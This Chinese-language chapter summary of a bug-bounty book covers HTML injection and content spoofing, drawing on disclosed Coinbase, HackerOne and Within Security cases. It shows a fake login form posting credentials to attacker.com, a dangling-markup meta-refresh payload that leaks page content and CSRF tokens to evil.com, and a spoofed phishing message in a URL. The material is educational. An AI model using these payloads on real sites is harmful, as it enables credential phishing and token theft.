HTML 注入(HTML Injection)與內容偽造(Content Spoofing)讓攻擊者把自己設計的內容嵌入目標網站。最常見的形式是注入一個假的登入 <form>,誘騙使用者把帳密送往攻擊者的伺服器。這類攻擊本質上依賴社交工程,因此 Bug Bounty 計畫普遍評為較低風險。

概念釐清#

HTML 注入#

當網站允許使用者透過表單欄位或 URL 參數送入 HTML 標籤,並且直接渲染到頁面上,就會出現此漏洞。

HTML 注入又稱 virtual defacement(虛擬竄改):開發者用 HTML 定義頁面結構,攻擊者注入 HTML 即可改變外觀。誘騙使用者送出敏感資訊的手法稱為 phishing(釣魚)

最典型的釣魚 payload:

<form method="POST" action="http://attacker.com/capture.php" id="login-form">
  <input type="text" name="username" value="" />
  <input type="password" name="password" value="" />
  <input type="submit" value="submit" />
</form>

當使用者誤以為這是合法登入框並按下提交,憑證就會被送到攻擊者的伺服器。

HTML 注入與第 7 章 XSS 的差別:XSS 可以執行任意 JavaScript,HTML 注入只能改變頁面結構,影響相對輕。

內容偽造#

如果網站把 HTML 標籤過濾或跳脫,攻擊者就只能注入純文字——這稱為內容偽造。

  • 無法改頁面結構,但可塞入看似官方的訊息
  • 訊息能誤導使用者執行某些動作(撥電話、寄信、輸入資料)
  • 完全仰賴社交工程的成敗

案例 1:Coinbase 字元編碼繞過#

漏洞描述#

Coinbase 在使用者評論中過濾 HTML 標籤,但事後又會解碼 HTML 實體。研究者先試明文:

<h1>This is a test</h1>

被過濾,只留下純文字。但改用 HTML 實體編碼:

&#60;&#104;&#49;&#62;&#84;&#104;&#105;&#115;&#32;...

伺服器把過濾跑在前面(看不到 <h1>),渲染時再解碼,最終變回 <h1>This is a test</h1> 並真正當 HTML 渲染。

研究者進一步注入帳密表單:

Username:<br />
<input type="text" name="firstname" />
<br />
Password:<br />
<input type="password" name="lastname" />

頁面上長出一組看似合法的登入欄位。

Takeaways#

  • 測試時嘗試多種編碼:明文、URL 編碼(如 %2F/)、HTML 實體(&#60;&lt;
  • 推薦工具:CyberChef ,內建大量編解碼瑞士刀

案例 2:HackerOne Unintended HTML Inclusion#

背景知識#

  • Markdown:用簡短語法產生 HTML,例如 # Title<h1>Title</h1>
  • 連結加 title[test](https://example.com "Your title")<a href="https://example.com" title="Your title">test</a>
  • React:Facebook 的前端框架,預設會跳脫 HTML,除非呼叫 dangerouslySetInnerHTML 才會直接寫入 DOM

漏洞描述#

研究者 Inti De Ceukelaire 注意到 HackerOne 的 Markdown 編輯器有問題:可在輸出 HTML 中夾帶單一懸空的單引號(hanging single quote)。HackerOne 又用 dangerouslySetInnerHTML 直接把伺服器來的 HTML 注入 DOM——意味著跳脫保護被關掉。

如果攻擊者能再找到第二個漏洞,在頁面開頭注入這樣的 <meta>

<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=

由於 <meta refresh> 會立即發出 GET,且這個 content= 的字串開了單引號沒有結尾——它會一路吃進整個頁面內容,直到遇上 De Ceukelaire 注入的那個懸空單引號才結束。中間吞掉的內容會被當作 text= 參數送到 evil.com,包括 CSRF Token 等敏感資料。

<html>
  <head>
    <meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=
  </head>
  <body>
    <h1>Some content</h1>
    <input type="hidden" name="csrf-token" value="ab34513cdfe123ad1f" />
    <p>attacker input with '</p>
  </body>
</html>

雖然 De Ceukelaire 當時無法直接利用,但已能證明可注入懸空引號於 CSRF Token 之後——這個「半成品」漏洞足以說明潛在風險,HackerOne 仍給了 $500。

Takeaways#

深入理解瀏覽器解析 HTML 的細節,能打開大量攻擊面。FileDescriptor 對 <meta> refresh exploit 有精彩說明:https://blog.innerht.ml/csp-2015/#contentexfiltration

案例 3:HackerOne Unintended HTML Include Fix Bypass#

漏洞描述#

本書作者 Peter Yaworski 看到 De Ceukelaire 的修復後決定再試一次。他送入:

[test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"")

混淆了 Markdown 的 title 屬性解析(多了 ismap=yyy= 與額外引號),結果產生:

<a
  title="test"
  ismap="alert xss"
  yyy="test"
  ref="http://www.toronotwebsitedeveloper.com"
  >test</a
>

修補後反而讓 Markdown 解析器可以輸出任意 HTML 屬性。雖然作者當下未做完整 PoC,但「能注入未經跳脫的 HTML」本身就足以說服 HackerOne 重做修復。

Takeaways#

修復不等於沒有漏洞——新的程式碼就是新的攻擊面。每次部署修復後,重新測試一輪是高 CP 值的工作。

案例 4:Within Security Content Spoofing#

漏洞描述#

Within Security 是 HackerOne 旗下分享資安新聞的網站,建在 WordPress 上。當登入失敗時,URL 帶有 error 參數:

https://withinsecurity.com/wp-login.php?error=access_denied

研究者發現 error 參數值會被原樣渲染成錯誤訊息,包括 URI 解碼後的字元。於是他改成:

https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20been%20hacked%2C%20Please%20call%20us%20this%20number%20919876543210%20OR%20Drop%20mail%20at%20attacker%40mail.com&state=...

頁面上長出一段「您的帳號被入侵,請撥打此號碼或寄信給 …」的訊息——攻擊者可藉此釣魚。

Figure 5-1: 攻擊者把這段「警告」訊息注入到 WordPress 管理頁面

Takeaways#

留意「URL 參數被原樣渲染到頁面」的行為。同樣模式有時能升級成 XSS(第 7 章),有時則只能做內容偽造/HTML 注入——影響較小,但有些計畫仍會付出最低獎金。

章末總結#

  • HTML 注入=攻擊者讓網站把惡意 HTML 反映回頁面,常用於釣魚
  • 內容偽造=只能注入純文字,但仍可塞入「看似官方」的訊息誤導使用者
  • 找漏洞時的主要切入點:
    • 是否接受 HTML 實體編碼(&#60;)並在後段解碼
    • 是否會把 URL 參數值直接渲染到頁面
    • Markdown/富文字編輯器在邊界輸入下的解析行為
  • 修復不是終點:bug 改完總會引入新的程式碼,每次都該再試一輪
  • 多數計畫對此類漏洞獎金較低——因為依賴使用者上當才會發生實質傷害